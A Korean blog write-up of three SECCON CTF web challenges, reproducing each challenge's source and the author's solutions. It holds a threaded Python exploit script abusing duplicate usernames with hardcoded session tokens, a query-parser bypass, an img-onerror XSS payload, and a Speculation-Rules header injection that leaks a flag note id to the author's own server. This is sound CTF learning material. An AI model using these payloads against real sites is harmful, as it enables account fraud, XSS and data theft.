일본에서 주최한 SECCON CTF를 참여했다.
그런데 난이도가 생각보다 너무 어려워서 좀 당황스러웠지만 재밌긴 했다.
일단 Web문제에서 유심히 본건 총 3문제이다.
1. Trillion Bank
import fastify from 'fastify';
import crypto from 'node:crypto';
import fs from 'node:fs/promises';
import db from './db.js';
const FLAG = process.env.FLAG ?? console.log('No flag') ?? process.exit(1);
const TRILLION = 1_000_000_000_000;
const app = fastify();
app.register(await import('@fastify/jwt'), {
secret: crypto.randomBytes(32),
cookie: { cookieName: 'session' }
});
app.register(await import('@fastify/cookie'));
const names = new Set();
const auth = async (req, res) => {
try {
await req.jwtVerify();
} catch {
return res.status(401).send({ msg: 'Unauthorized' });
}
};
app.post('/api/register', async (req, res) => {
const name = String(req.body.name);
if (!/^[a-z0-9]+$/.test(name)) {
res.status(400).send({ msg: 'Invalid name' });
return;
}
if (names.has(name)) {
res.status(400).send({ msg: 'Already exists' });
return;
}
names.add(name);
const [result] = await db.query('INSERT INTO users SET ?', {
name,
balance: 10
});
res
.setCookie('session', await res.jwtSign({ id: result.insertId }))
.send({ msg: 'Succeeded' });
});
app.get('/api/me', { onRequest: auth }, async (req, res) => {
try {
const [
{
0: { balance }
}
] = await db.query('SELECT * FROM users WHERE id = ?', [req.user.id]);
req.user.balance = balance;
} catch (err) {
return res.status(500).send({ msg: err.message });
}
if (req.user.balance >= TRILLION) {
req.user.flag = FLAG; // 💰
}
res.send(req.user);
});
app.post('/api/transfer', { onRequest: auth }, async (req, res) => {
const recipientName = String(req.body.recipientName);
if (!names.has(recipientName)) {
res.status(404).send({ msg: 'Not found' + recipientName });
return;
}
const [
{
0: { id }
}
] = await db.query('SELECT * FROM users WHERE name = ?', [recipientName]);
if (id === req.user.id) {
res.status(400).send({ msg: 'Self-transfer is not allowed' });
return;
}
const amount = parseInt(req.body.amount);
if (!isFinite(amount) || amount <= 0) {
res.status(400).send({ msg: 'Invalid amount1' + amount });
return;
}
const conn = await db.getConnection();
try {
await conn.beginTransaction();
const [
{
0: { balance }
}
] = await conn.query('SELECT * FROM users WHERE id = ? FOR UPDATE', [
req.user.id
]);
if (amount > balance) {
console.log(amount);
throw new Error('Invalid amount2' + amount);
}
await conn.query('UPDATE users SET balance = balance - ? WHERE id = ?', [
amount,
req.user.id
]);
await conn.query('UPDATE users SET balance = balance + ? WHERE name = ?', [
amount,
recipientName
]);
await conn.commit();
} catch (err) {
await conn.rollback();
return res.status(500).send({ msg: err.message });
} finally {
db.releaseConnection(conn);
}
res.send({ msg: 'Succeeded' });
});
app.get('/', async (req, res) => {
const html = await fs.readFile('index.html');
res.type('text/html; charset=utf-8').send(html);
});
app.listen({ port: 3000, host: '0.0.0.0' });
먼저 UserName을 입력받아서 잔돈 10을 채워준다. 그리고 Money Transfer 기능을 사용해서 다른 User에게 돈을 넘겨줄 수 있는데 1_000_000_000_000원이 넘어야 FLAG를 획득 할 수 있다.
소스코드를 보면은 별 다른 취약점은 딱히 없어 보이는데 팀원 분께서 한가지 취약점을 제시해 주셨다.
register 부분을 보면은 UserName을 SET과 sql을 사용해서 저장한다.
이 때, UserName에 길이 제한이 없는 걸 확인할 수 있는데 만약 sql에서 넣을 수 있는 최대 길이인 65535를 넘어서 입력하면은 SET에선 그대로 들어가지만 sql에선 잘려서 들어간다.
따라서, sql에 name값이 같은 세션을 두개 이상 만들 수 있다.
그럼 이를 사용해서 뭘 할 수 있을까?
name이 test로 같은 id 1과 2가 있다고 하자.
만약 id가 2인 세션으로 transfer를 시도하면은 sql을 기준으로 transfer하기 때문에 id가 1인 세션에도 들어가고 2인 세션에도 들어간다. 이렇게 되면 id 2기준에서는 10을 id 1에게 줬지만 다시 자기도 10을 받기 때문에 동일하게 있는다.
그렇다면은 name값이 같은 세션 3개가 있다고 하고 id는 1, 2, 3이라고 하자.
id가 2인 세션으로 transfer를 시도하면은 1,2,3에 다 들어갈 것이다. 이렇게 10을 한 10번정도 주면은 110, 10, 110 이렇게 값이 있을것이다.
여기서 id 3인 세션으로 transfer를 10번 시도하면은 1210,1110, 110 이렇게 될 것이다.
이를 사용해서 효율적으로 값을 금방금방 늘릴 수 있다.
import requests
url = "http://trillion.seccon.games:3000"
targetchar = 'k'
#register1
reg_name1 = targetchar * 65535
reg_name2 = targetchar * 65536
reg_name3 = targetchar * 65537
# payload = {
# "name" : reg_name1
# }
# session1 = requests.request("POST", url + "/api/register", json=payload).cookies['session']
# print(session1)
# payload = {
# "name" : reg_name2
# }
# session2 = requests.request("POST", url + "/api/register", json=payload).cookies['session']
# print(session2)
# payload = {
# "name" : reg_name3
# }
# session3 = requests.request("POST", url + "/api/register", json=payload).cookies['session']
# print(session3)
payload_name = targetchar * 65535
session1 = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MjIsImlhdCI6MTczMjM2MDgyMX0.dw9-r3XHrAyKXwfzLNvLqowE8VD_iijvgmEd85jSZOE"
session2 = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MjUsImlhdCI6MTczMjM2MDgyMX0.X2iWBcVVolJMUSqBmmtYSzma67EWDt7eEZrmAL4ZtZM"
session3 = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MjcsImlhdCI6MTczMjM2MDgyMX0.iizeWhmSZJMPfmuJJ1kwvOkPjBdmKJ5TrmvbP4kEhSY"
payload = {
"recipientName" : payload_name,
"amount" : 10125425840
}
#to json
headers = {
'Content-Type': 'application/json',
'Cookie': 'session=' + session2
}
import threading
for i in range(100):
def send_request():
response = requests.request("POST", url + "/api/transfer", headers=headers, json=payload)
print(response.text)
for i in range(10):
t = threading.Thread(target=send_request)
t.start()
print(requests.request("GET", url + "/api/me", headers={'Cookie': 'session=' + session2}).text)
print(requests.request("GET", url + "/api/me", headers={'Cookie': 'session=' + session1}).text)
위는 팀원 분이 짠 코드에서 살짝 수정한건데 headers에 session2와 session3을 번갈아 가면서 쓰고 amount도 계속 늘리다 보면 쉽게 1_000_000_000_000원을 넘게 되고 flag를 획득 할 수 있다.
SECCON{The_Greedi3st_Hackers_in_th3_W0r1d:1,000,000,000,000}
2. self-ssrf
import express from 'express';
const PORT = 3000;
const LOCALHOST = new URL(`http://localhost:${PORT}`);
const FLAG = Bun.env.FLAG!!;
const app = express();
app.use('/', (req, res, next) => {
console.log(req.query);
console.log(req.query.flag);
if (req.query.flag === undefined) {
const path = '/flag?flag=guess_the_flag';
res.send(`Go to <a href="${path}">${path}</a>`);
} else next();
});
app.get('/flag', (req, res) => {
res.send(
req.query.flag === FLAG // Guess the flag
? `Congratz! The flag is '${FLAG}'.`
: `<marquee>🚩🚩🚩</marquee>`
);
});
app.get('/ssrf', async (req, res) => {
try {
const url = new URL(req.url, LOCALHOST);
console.log(url);
console.log(LOCALHOST);
if (url.hostname !== LOCALHOST.hostname) {
res.send('Try harder 1');
return;
}
if (url.protocol !== LOCALHOST.protocol) {
res.send('Try harder 2');
return;
}
url.pathname = '/flag';
url.searchParams.append('flag', FLAG);
console.log(url);
res.send(await fetch(url).then(r => r.text()));
} catch {
res.status(500).send(':(');
}
});
app.listen(PORT);
사실 인텐하고 언인텐 풀이가 있는데 언인텐 풀이는 보고 그냥 웃음만 나왔다... ㅋㅋ
일단 /ssrf로 가면은 url에 /flag경로로 지정하고 쿼리에 flag를 넣어서 fetch를 한다.
이렇게 하면 /flag로 가서 req.query.flag가 FLAG와 일치하여 flag를 리턴할줄 알았지만... 문제는 app.use부분에 있다.
req.query.flag가 없으면은 Go to 를 send하기 때문에 무조건 flag쿼리를 줘야 한다.
하지만 flag 쿼리를 주면은 /flag에서 flag가 FLAG와 정확히 일치하지 않기에 flag를 반환하지 않는다.
일단 언인텐 풀이를 보자면은 req.query와 fetch에서 파싱하는 차이를 활용해서 풀었다.
/srrf?flag[=]=1
너무 간단한다.
위의 링크를 보면 qs parser 즉, req.query에서는 flag : {"=" : "1"} 요런식으로 인식하지만 fetch에서는 flag[ = ]=1 이렇게 인식하기에 app.use를 bypass할 수 있다.
express 4.x 버전에선 qs parser를 사용하기에 위의 풀이가 가능했다.
참고로 최신버전에선 qs parser를 사용 안하기에 재현이 불가하다.
https://expressjs.com/en/api.html
그리고 인텐 풀이는 다음과 같다.
GET http://localhost:3000/ssrf?flag\xE1\x9A\x80 HTTP/1.1
flag뒤에 붙는건 multibyte whitespace이다. 유니코드 표준에서 사용하는 whitespace들인데 express에서 패킷을 보낼 때 경로가 아닌 http://localhost:3000 이렇게 보내주면은 hostname까지 같이 보내줄 수 있다. 이렇게 되면 express에서 내부 파싱을 진행하게 되는데 multibyte whitespace는 인식 자체를 못해서 파싱을 못하게 되어 flag만 남는다. 근데 fetch에서는 이를 인식하기에 app.use를 bypass 가능하다.
이 풀이는 올라온 롸업만 보고 유효한 레퍼런스를 못 찾아서 대충 이런식으로 작동했을거라 예상한다.
내 약점이 직접 github 소스코드 분석을 매우 싫어한다는 점인데 요건 express 소스코드를 직접 보고 분석하지 않은 이상 풀기 어려운 문제였다...
어려운 문제들은 대부분 github소스코드 보고 분석해서 취약점 찾도록 많이 나오는데 직접 코드 보도록 노력하자....
SECCON{Which_whit3space_did_you_u5e?}
3. Tanuki Udon
요거는 이상하게만큼 솔버가 많았던 문제이다...
일단 소스코드는 다음과 같다.
const crypto = require('node:crypto');
const express = require('express');
const session = require('express-session');
const db = require('./db');
const markdown = require('./markdown');
const PORT = '3000';
const app = express();
app.use(express.urlencoded({ extended: false }));
app.use(session({
secret: crypto.randomBytes(32).toString('base64'),
resave: true,
saveUninitialized: true,
}));
app.set('view engine', 'ejs');
app.use((req, res, next) => {
if (!req.session.userId) {
req.session.userId = db.createUser().id;
}
req.user = db.getUser(req.session.userId);
next();
})
app.use((req, res, next) => {
if (typeof req.query.k === 'string' && typeof req.query.v === 'string') {
// Forbidden :)
if (req.query.k.toLowerCase().includes('content')) return next();
res.header(req.query.k, req.query.v);
}
next();
});
app.get('/', (req, res) => {
res.render('index', { notes: req.user.getNotes() });
});
app.get('/clear', (req, res) => {
db.deleteUser(req.user.id);
req.session.destroy();
res.redirect('/');
});
app.get('/note/:noteId', (req, res) => {
const { noteId } = req.params;
const note = db.getNote(noteId);
if (!note) return res.status(400).send('Note not found');
res.render('note', { note });
});
app.post('/note', (req, res) => {
const { title, content } = req.body;
req.user.addNote(db.createNote({ title, content: markdown(content) }));
res.redirect('/');
});
app.listen(PORT, '0.0.0.0', () => {
console.log(`Listening on port ${PORT}`);
});
const escapeHtml = (content) => {
return content
.replaceAll('&', '&')
.replaceAll(`"`, '"')
.replaceAll(`'`, ''')
.replaceAll('<', '<')
.replaceAll('>', '>');
}
const markdown = (content) => {
const escaped = escapeHtml(content);
return escaped
.replace(/!\[([^"]*?)\]\(([^"]*?)\)/g, `<img alt="$1" src="$2"></img>`)
.replace(/\[(.*?)\]\(([^"]*?)\)/g, `<a href="$2">$1</a>`)
.replace(/\*\*(.*?)\*\*/g, `<strong>$1</strong>`)
.replace(/ $/mg, `<br>`);
}
module.exports = markdown;
대충 게시글 작성 가능한데 문제는 escapeHtml로 다 html encoding한다는 점이다.
취약할만한 부분으 k와 v query를 줘서 header를 하나 삽입할 수 있고 markdown을 지원한다는 점이다.
요거도 언인텐과 인텐이 있었는데...
언인텐은 더블 markdown 인코딩을 활용한 것이다.
![[qwe](bb)](src=x onerror=alert`1`//)
요렇게 코드를 주면 어떻게 될까??
먼저 <img alt="[qwe](bb)" src="src=x onerror=alert`1`//"> 요렇게 될 것이다.
그다음 두번째 a href 변환에서
<img alt="<a href=" src=x onerror=alert`1`//">"qwe" src="bb"> " 요런식으로 된다.
결국 src=x 와 alert`1`이 고대로 img 태그에 들어가서 xss가 터진다.
요것도 나름대로 대단한 풀이긴 하다.
인텐은 header삽입을 통한 풀이인데 일단 이 문제는 Udon이라는 문제에 영감을 받아 만들어졌다.
https://github.com/tsg-ut/tsgctf2021/tree/main/web/udon
해당 문제의 풀이를 보면은 FireFox에선 Link헤더를 통해 css삽입이 가능한데 이를 이용해 CSS Injection을 진행했다.
하지만 Tanuki Udon의 bot은 Chrome이기에 Link 헤더를 통한 CSS Injection이 불가하다.
그러면 Chrome에서는 어떻게 트리거할까?
바로 Speculation-Rules헤더를 이용하는 것이다.
요걸 사용하면 rule을 json파일에 담은 다음 Speculation-Rules헤더로 json을 불러와 그 rule을 실행할 수 있다.
이 때, rule에는 Link헤더처럼 prefetch, prerender등의 내용을 넣을 수 있다.
그래서 아래의 코드를 내 서버에 실행해 담아오려 했는데....
?k=Speculation-Rules&v="https://qweee.run.goorm.app/speculationrules.json"
from flask import Flask, Response, jsonify
from flask_cors import CORS
app = Flask(__name__)
# 모든 출처에서의 CORS 허용
CORS(app)
@app.route('/speculationrules.json')
def speculation_rules():
# Speculation Rules JSON 반환
json_data = """{
"prefetch": [
{
"source": "list",
"urls": ["https://qweee.run.goorm.app/a.css"]
}
]
}"""
# MIME 타입을 'application/speculationrules+json'으로 설정
response = Response(json_data, mimetype='application/speculationrules+json')
return response
@app.route('/a.css')
def get_data():
css_content = """body {
background-color: red;
}"""
return Response(css_content, mimetype='text/css')
if __name__ == '__main__':
# 포트 5001에서 실행
app.run(host='0.0.0.0', port=8080)
a.css가 불러와지긴 하는데 style로는 안불러와진다....
prerender로도 해봤는데 prerender는 cross origin에서는 지원되지 않는듯 하다...
요건 좀만 더 찾아보면 방법을 알아낼 거 같긴 한데... 방법을 찾으면 이어서 작성하겠다.
+11/26
문제 출제자 분께 직접 질문드린 결과 아래와 같은 답변을 얻을 수 있었다.
요약하자면 내가 위에서 한 방법처럼 하면 안되고 Speculation rules엔 selector_matches를 사용할 수 있는데 이걸로 css injection과 비슷한 효과를 낼 수 있었다.
위는 해당speculationrules 사용 방법을 알려주는 레퍼런스이다.
json_data = """{
"prefetch": [
{
"where": { "selector_matches": "a[href^='https']" },
"eagerness": "eager"
}
]
}"""
이렇게 작성하면은 a href에 https로 시작하는걸 모두 렌더링 하라는 뜻이다.
json_data = """{
"prerender": [
{
"where": { "selector_matches": "a[href^='/note']" },
"eagerness": "eager"
}
]
}"""
그렇다면 메인 페이지에 요렇게 하면 어떻게 될까?
a href에 /note로 시작하는걸 모두 prerender하라는 뜻이다.
참고로 자기 서버 내에서 호출하는건 prefetch를 쓰면 안되고 prerender를 써야한다.
ex) https://myserver -> prefetch | /note -> prerender
이러면은 a태그의 href가 /note로 시작하면 모두 렌더링한다.
그렇다면 css selector로 flag id와 일치하면은 prerender를 할텐데....
문제는 rendering한걸 감지하고 또 요걸 내가 알아차릴 수 있게 해야한다.
흠... 레퍼런스좀 찾아보면 나오겠지
+12/05
출제자분 Writeup을 보고 드디어 깨달았다....
요컨데 내가 한 방법에서 한단계만 더 나아가면 된다.
예를들어 만약 /note/a 로 시작하는 note가 있다면 다른 note를 prerender 시키면 된다.
이때, prerender시에 note 내용이 <img src="">가 있다면 img src의 주소를 rendering 시킬 것이고 따라서 이 방법을 통해 css selector 에 걸렸는지 확인할 수 있다.
/note/a로 시작하면? 의 조건식은 css의 has를 사용하면 되고
다른 note를 rendering시키는건 nth-last-child(1)을 사용하면 된다.
bot에서 flag 노트를 작성하면 flag노트주소는 맨 위에 있다는것을 알기에 이를 사용해서 css selector를 조정하면 된다.
{
"prerender": [
{
"eagerness": "eager",
"where": {
"selector_matches": ":has(ul li:first-child a[href^=\\"/note/{prefix}\\"]) ul li:nth-last-child(1) a"
}
}
]
}
json은 위와 같이 설정한 후 /note/{prefix} 부분을 반복문으로 돌려가며 내 서버가 렌더링 되면 그 단어는 note의 url에 속해있는 것임을 알 수 있다.
bot에 full url을 넣을 수 있으니 내 서버의 주소를 넣고 note upload하는 코드와 flag note id leak하는 코드 둘다 동작 시키면 된다.
SECCON{Firefox Link = Kitsune Udon <-> Chrome Speculation-Rules = Tanuki Udon}
'Web Hacking > WriteUp' 카테고리의 다른 글
LG U+ Security Hackathon: Growth Security 2024 후기 + Writeup (1) | 2024.12.07 |
---|---|
Buckeye CTF 2024 instructions Writeup (0) | 2024.10.01 |
ASIS CTF 2024 Web Writeup (0) | 2024.09.22 |
WhiteHat School 2nd CTF SSH Tunneling Final Writeup (0) | 2024.09.05 |
Project Sekai CTF 2024 Web Writeup (0) | 2024.08.24 |